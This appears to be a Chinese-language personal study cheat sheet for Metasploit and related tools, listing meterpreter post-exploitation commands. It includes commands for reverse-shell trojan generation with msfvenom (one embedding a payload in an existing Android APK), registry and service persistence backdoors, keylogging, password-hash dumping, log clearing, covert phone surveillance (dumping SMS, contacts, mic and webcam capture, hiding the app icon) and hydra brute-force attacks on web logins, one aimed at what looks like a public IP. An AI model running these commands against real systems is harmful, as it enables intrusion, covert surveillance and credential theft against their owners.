Metasploit学习笔记

collect info

域名,IP,邮箱,姓名,注册商,地理位置,whois及ip2location介绍
端口:nmap
漏洞:Nessus,NetXpose,Owasp

explore

searchsploit
search
use
set
exploit

后渗透

基本命令

  • background:把meterpreter后台挂起
  • sessions:查看或连接已经成功获取的会话
  • shell:获取目标主机的远程命令行shell
  • quit:关闭当前meterpreter会话
  • irb:进入ruby交互终端

    文件系统

  • getwd,getlwd:获取当前目标机器的工作目录,获得当前系统的工作目录
  • ls:查看当前目录下的所有文件
  • cd:切换目标机器的工作路径
  • cat:查看目标主机上的文档内容
  • edit:调用vi编辑器,对目标主机上的文件修改,会先清空目标主机文件
  • search:在目标主机文件系统上查找搜索文件
  • upload /root/t.txt d:\\:上传本机root目录下t.txt到目标机D盘根目录
  • download t.txt /root:下载目标机当前目录下t.txt到/root目录下
  • search:搜索文件

    网络命令

  • ipconfig:获取目标主机网络信息
  • portfwd add -l 1234 -r 192.168.220.130 -p 3389:将远程3389端口转发到本地1234端口,-r指定本地ip
  • route:查看目标主机路由信息

    系统命令

  • ps:查看目标主机进程信息
  • migrate:将meterpreter会话从一个进程迁移到另一个进程中
  • getpid:获取当前会话的进程id
  • execute:在目标机中执行文件
  • kill:结束指定进程
  • getuid:获得运行meterpreter会话的用户名,从而查看权限
  • sysinfo:查看目标系统信息
  • shutdown:关闭目标计算机
  • reboot:重启目标计算机
  • clearev:清除浏览日志
  • run persistence -X -i 5 -p 4444 -r 192.168.220.130:通过在meterpreter会话中运行persistence后渗透攻击模块,在目标主机的注册表值HKLM\Software\Microsoft\Windows\Currentversion\Run中添加键值,达到自启动的目的,-X参数指定启动的方式为开机自启动,-i的参数指定反向连接的时间间隔。然后建立meterpreter客户端,在指定回连的4444端口进行监听,等待后门重新连接。注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\IiQauOoOws需手动删除
  • run metsvc:持久化的另一种方法,以系统服务的形式,端口31337,set payload windows/metsvc_bind_tcp需使用此payload。新版本建议使用后渗透模块run post/windows/manage/persistence_exe REXENAME=cmd.exe STARTUP=SYSTEM REXEPATH=/root/test.exe SESSION=1
  • hashdump:获取系统用户的密码hash值

    用户界面

  • keyscan_start:开始记录按键
  • keyscan_dump:导出记录
  • keyscan_stop:停止记录
  • screenshot:屏幕截图

    后渗透模块

  • run post/windows/capture/keylog_recorder:记录按键并保存至文件中
  • run post/windows/gather/forensics/enum_drives:获取分区情况
  • run post/windows/gather/checkvm:检查是否虚拟机
  • run post/windows/gather/enum_ie:获取浏览器缓存文件
  • run post/windows/gather/dumplinks:查看访问文件和office文档操作记录
  • run post/windows/gather/hashdump:获取系统用户的密码hash值
  • run post/windows/gather/smart_hashdump:系统口令获取,hash值
  • run post/windows/manage/enable_rdp:开启远程桌面rdp,以前是run getgui -e
  • run post/windows/gather/enum_applications:获取系统安装程序和补丁情况

    安卓后渗透:

  • check_root:检查手机是否经过root
  • dump_calllog:导出通话记录
  • send_sms -d 电话 -t 内容:发送短信
  • dump_contacts:导出联系人
  • dump_sms:导出短信
  • geolocate:获取地理位置
  • hide_app_icon:隐藏当前app的图标
  • wlan_geolocate:使用wlan获取地理位置
  • record_mic:录音x秒
  • webcam_chat:开始视频聊天
  • webcam_list:查看摄像头列表
  • webcam_snap:摄像头拍摄一张照片
  • webcam_stream:开启摄像头监控
  • wakelock:唤醒屏幕
  • set_audio_mode:设置声音

其他

  • rdesktop 127.0.0.1:1234:开启远程桌面
  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.104 lport=4444 -f exe > /root/test.exe:生成木马-windows
  • msfvenom -p android/meterpreter/reverse_tcp -x /root/ESreader.apk LHOST=192.168.88.132 LPORT=4444 R > /root/test.apk:生成木马-安卓
  • hydra 121.40.20.211 -L /root/user.txt -P /root/163pass.txt -f -V http-post-form "/api/v6/user/login:email=^USER^&password=^PASS^:10039":hydra暴力破解web账号
  • hydra 172.26.4.145 -s 5000 -C /root/163user_pass.txt -V http-post-form "/login:email=^USER^&password=^PASS^&:S=Hello*" -L /root/flask_user.txt -P /root/flask_pass.txt:hydra暴力破解web账号,成功包含Hello,通配符*或%,失败包含使用F
  • run post/windows/manage/persistence_exe REXENAME=cmd.exe STARTUP=SYSTEM REXEPATH=/root/test.exe SESSION=1:win后门
  • hashcat -m 0 -a 0 --force ciphertext.txt password.txt --show:hashcat暴力破解md5密文
  • john --format=raw-md5 --wordlist password.txt ciphertext.txt:JohnTheRipper暴力破解md5密文

Error

持久化

  • Errno::ECONNRESET Connection reset by peer - SSL_accept

远程桌面

  • ERROR: recv: 连接被对方重设

资源

Metasploit的Github
win_hash加解密
ntlm破解
windows空密码:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Metasploit Unleashed
Metasploit api
官方msf explore search
msf explore search2
hydra的Github
JohnTheRipper的Github
hashcat的Github